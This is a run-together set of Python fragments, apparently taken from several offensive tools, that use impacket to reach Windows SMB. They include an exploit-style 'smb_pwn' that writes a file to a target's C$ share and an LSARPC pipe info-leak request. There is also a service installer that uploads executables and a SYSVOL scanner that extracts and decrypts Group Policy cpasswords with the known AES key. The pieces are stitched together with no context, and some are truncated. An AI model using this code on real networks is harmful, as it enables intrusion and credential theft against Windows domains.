def get_smbconnection(self): if self._smbConn is None: self.smbConn = smbconnection.SMBConnection(self.get_remote_host(), self.get_remote_host(), existingConnection=self, manualNegotiate=True) return self.smbConn
def spawn_smb_connection(self): try: smbconn = impkt_smbconnection.SMBConnection( self.rhost_name, self.rhost_addr, sess_port=self.rport_smb, timeout=60, preferredDialect=None) except (impkt_nmb.NetBIOSTimeout, socket.timeout) as exc: raise SmbTimeoutError(str(exc)) except impkt_smbconnection.SessionError as exc: if exc.getErrorCode() == impkt_nt_errors.STATUS_IO_TIMEOUT: raise SmbTimeoutError(str(exc)) else: raise if self.do_kerberos: smbconn.kerberosLogin( self.username, self.password, self.domain, self.lmhash, self.nthash, self.aes_key, kdcHost=self.kdc_host, TGT=None, TGS=None) else: smbconn.login( self.username, self.password, self.domain, self.lmhash, self.nthash) logger.debug( f"connected to {self.addr_str} (SMB dialect " f"{smbconn.getDialect()}; MaxReadSize: " f"{smbconn._SMBConnection.getIOCapabilities()['MaxReadSize']})") return SmbConnection(smbconn)
def connectPipe(self): """.""" try: lock.acquire() global dialect remoteHost = self.transport.get_smb_connection().getRemoteHost() # self.server = SMBConnection('*SMBSERVER', # self.transport.get_smb_connection().getRemoteHost(), # sess_port = self.port, preferredDialect = SMB_DIALECT) self.server = smbconnection.SMBConnection('*SMBSERVER', remoteHost, sess_port=self.port, preferredDialect=dialect) # noqa user, passwd, domain, lm, nt = self.credentials self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid, self.pipe, self.permissions, creationOption=0x40, fileAttributes=0x80) self.server.setTimeout(1000000) except Exception: message = ("[!] Something wen't wrong connecting the pipes(%s), " "try again") print(message % self.__class__)
def smb_pwn(conn): smbConn = smbconnection.SMBConnection(conn.get_remote_host(), conn.get_remote_host(), existingConnection=conn, manualNegotiate=True) print('creating file c:\\pwned.txt on the target') tid2 = smbConn.connectTree('C$') fid2 = smbConn.createFile(tid2, '/pwned.txt') smbConn.closeFile(tid2, fid2) smbConn.disconnectTree(tid2)
def connect_transferClient(self): """.""" # self.transferClient = SMBConnection('*SMBSERVER', # self.server.getRemoteHost(), sess_port = self.port, # preferredDialect = SMB_DIALECT) self.transferClient = smbconnection.SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect) # noqa user, passwd, domain, lm, nt = self.credentials self.transferClient.login(user, passwd, domain, lm, nt)
def smb_connector(self, server: str, domuser: str, passwd: str) -> smbconnection: try: smbconn = smbconnection.SMBConnection(f'\\\\{server}\\', server, timeout=5) smbconn.login(domuser, passwd) except (SessionError, UnicodeEncodeError, NetBIOSError): smbconn.close() return False return smbconn
def enumSMB(self): progBar = ProgressBar(widgets=['SMBConnection test: ', Percentage(), Bar(), ETA()], maxval=len(self.smbShareCandidates)).start() prog = 0 try: for dnsname in self.smbShareCandidates: try: # Changing default timeout as shares should respond withing 5 seconds if there is a share # and ACLs make it available to self.user with self.passwd smbconn = smbconnection.SMBConnection('\\\\' + str(dnsname), str(dnsname), timeout=5) smbconn.login(self.domuser, self.passwd) dirs = smbconn.listShares() self.smbBrowseable[str(dnsname)] = {} for share in dirs: self.smbBrowseable[str(dnsname)][str(share['shi1_netname']).rstrip('\0')] = '' try: _ = smbconn.listPath(str(share['shi1_netname']).rstrip('\0'), '*') self.smbBrowseable[str(dnsname)][str(share['shi1_netname']).rstrip('\0')] = True except (SessionError, UnicodeEncodeError, NetBIOSError): # Didnt have permission, all good # Im second guessing the below adding to the JSON file as we're only interested in the listable directories really #self.smbBrowseable[str(dnsname)][str(share['shi1_netname']).rstrip('\0')] = False continue smbconn.logoff() progBar.update(prog + 1) prog += 1 except (socket.error, NetBIOSTimeout, SessionError, NetBIOSError): # TODO: Examine why we sometimes get: # impacket.smbconnection.SessionError: SMB SessionError: STATUS_PIPE_NOT_AVAILABLE # on healthy shares. It seems to be reported with CIF shares progBar.update(prog + 1) prog += 1 continue except ValueError: # We reached end of progressbar, continue since we finish below pass progBar.finish() print('') availDirs = [] for key, value in self.smbBrowseable.items(): for _, v in value.items(): if v: availDirs.append(key) if len(self.smbShareCandidates) == 1: print('[ ' + colored('OK', 'green') + ' ] Searched {0} share and {1} with {2} subdirectories/files is browseable by {3}'.format(len(self.smbShareCandidates), len(self.smbBrowseable.keys()), len(availDirs), self.domuser)) else: print('[ ' + colored('OK', 'green') + ' ] Searched {0} shares and {1} with {2} subdirectories/file sare browseable by {3}'.format(len(self.smbShareCandidates), len(self.smbBrowseable.keys()), len(availDirs), self.domuser)) if len(self.smbBrowseable.keys()) > 0: with open('{0}-open-smb.json'.format(self.server), 'w') as f: json.dump(self.smbBrowseable, f, indent=4, sort_keys=False) print('[ ' + colored('OK', 'green') + ' ] Wrote browseable shares to {0}-open-smb.json'.format(self.server))
def __init__(self, SMBObject, exeFile, serviceName=None, binaryServiceName=None): """Contructor of the class. :param SMBObject: existing SMBObject :param exeFile: file handle or class that mimics a file class, this will be used to create the service :param serviceName: name of the service to be created, will be random if not set :param binaryServiceName name of the uploaded file, wil be random if not set """ print("In constructor now!!!") self._rpctransport = 0 if not serviceName: self.__service_name = ''.join( [random.choice(string.letters) for i in range(4)]) else: self.__service_name = serviceName if not binaryServiceName: self.__binary_service_name = ''.join( [random.choice(string.letters) for i in range(8)]) + '.exe' else: self.__binary_service_name = binaryServiceName self.__exeFile = exeFile # We might receive two different types of objects, always end up # with a SMBConnection one if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3): self.connection = smbconnection.SMBConnection( existingConnection=SMBObject) else: self.connection = SMBObject self.share = ''
def get_smbconnection(self): if self._smbConn is None: self.smbConn = smbconnection.SMBConnection(self.get_remote_host(), self.get_remote_host(), existingConnection=self) return self.smbConn
USERNAME = '' PASSWORD = '' if len(sys.argv) != 2: print("{} <ip>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] pipe_name = 'lsarpc' conn = MYSMB(target) conn.login(USERNAME, PASSWORD) smbConn = smbconnection.SMBConnection(target, target, existingConnection=conn, manualNegotiate=True) dce = transport.SMBTransport(target, filename=pipe_name, smb_connection=smbConn).get_dce_rpc() dce.connect() conn.set_default_tid(conn.get_last_tid()) fid = conn.get_last_fid() dce.bind(lsat.MSRPC_UUID_LSAT) # send LsarGetUserName without getting result so there are data in named pipe to peek request = lsat.LsarGetUserName() request['SystemName'] = "\x00" request['UserName'] = "******"*263+'\x00' # this data size determines how many bytes of data we can leak request['DomainName'] = ndr.NULL dce.call(request.opnum, request)
def checkSYSVOL(self): print('[ .. ] Searching SYSVOL for cpasswords\r') cpasswords = {} try: smbconn = smbconnection.SMBConnection('\\\\{0}\\'.format( self.server), self.server, timeout=5) smbconn.login(self.domuser, self.passwd) dirs = smbconn.listShares() for share in dirs: if str(share['shi1_netname']).rstrip('\0').lower() == 'sysvol': path = smbconn.listPath( str(share['shi1_netname']).rstrip('\0'), '*') paths = [ e.get_shortname() for e in path if len(e.get_shortname()) > 2 ] for dirname in paths: try: # Dont want . or .. subPath = smbconn.listPath( str(share['shi1_netname']).rstrip('\0'), str(dirname) + '\\*') for sub in subPath: if len(sub.get_shortname()) > 2: paths.append(dirname + '\\' + sub.get_shortname()) except (SessionError, UnicodeEncodeError, NetBIOSError) as e: continue # Compile regexes for username and passwords cpassRE = re.compile(r'cpassword=\"([a-zA-Z0-9/]+)\"') unameRE = re.compile( r'userName|runAs=\"([ a-zA-Z0-9/\(\)-]+)\"') # Prepare the ciphers based on MSDN article with key and IV cipher = AES.new( bytes.fromhex( '4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b' ), AES.MODE_CBC, bytes.fromhex('00' * 16)) # Since the first entry is the DC we dont want that for item in paths[1:]: if '.xml' in item.split('\\')[-1]: print('item .xml: ' + str(item)) with open( '{0}-{1}'.format( item.split('\\')[-2], item.split('\\')[-1]), 'wb') as f: smbconn.getFile( str(share['shi1_netname']).rstrip('\0'), item, f.write) with open( '{0}-{1}'.format( item.split('\\')[-2], item.split('\\')[-1]), 'r') as f: try: fileContent = f.read() passwdMatch = cpassRE.findall( str(fileContent)) for passwd in passwdMatch: unameMatch = unameRE.findall( str(fileContent)) for usr in unameMatch: padding = '=' * (4 - len(passwd) % 4) # For some reason, trailing nul bytes were on each character, so we remove any if they are there cpasswords[usr] = cipher.decrypt( base64.b64decode( bytes( passwd + padding, 'utf-8')) ).strip().decode('utf-8').replace( '\x00', '') except (UnicodeDecodeError, AttributeError) as e: # Remove the files we had to write during the search os.unlink('{0}-{1}'.format( item.split('\\')[-2], item.split('\\')[-1])) continue # Remove the files we had to write during the search os.unlink('{0}-{1}'.format( item.split('\\')[-2], item.split('\\')[-1])) if len(cpasswords.keys()) > 0: with open('{0}-cpasswords.json'.format(self.server), 'w') as f: json.dump(cpasswords, f) if len(cpasswords.keys()) == 1: print('\033[1A\r[ ' + colored('OK', 'green') + ' ] Found {0} cpassword in a GPO on SYSVOL share'.format( len(cpasswords.keys()))) else: print('\033[1A\r[ ' + colored('OK', 'green') + ' ] Found {0} cpasswords in GPOs on SYSVOL share'.format( len(cpasswords.keys()))) except (SessionError, UnicodeEncodeError, NetBIOSError) as e: print('[ ' + colored('ERROR', 'red') + ' ] Some error occoured while searching SYSVOL'.format( self.server)) else: smbconn.close()
'ParameterOffset'] + len(param) + pad2Len transCommand['Data']['Trans_Parameters'] = param transCommand['Data']['Trans_Data'] = data smb_packet.addCommand(transCommand) transCommand['Parameters'].dump() transCommand['Data'].dump() conn.sendSMB(smb_packet) if __name__ == "__main__": smbConn = smbconnection.SMBConnection("*\*SMBSERVER*", REMOTE_HOST, preferredDialect=USED_DIALECT, manualNegotiate=True) smbConn.negotiateSession(USED_DIALECT, flags2=smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_LONG_NAMES) smbConn.login(USER_ACCOUNT, USER_PASSWORD) # get tree id tid = smbConn.connectTree(u"\\\\192.168.126.128\\IPC$") # get real smb conn object smbServer = smbConn.getSMBServer() # send nt trans request """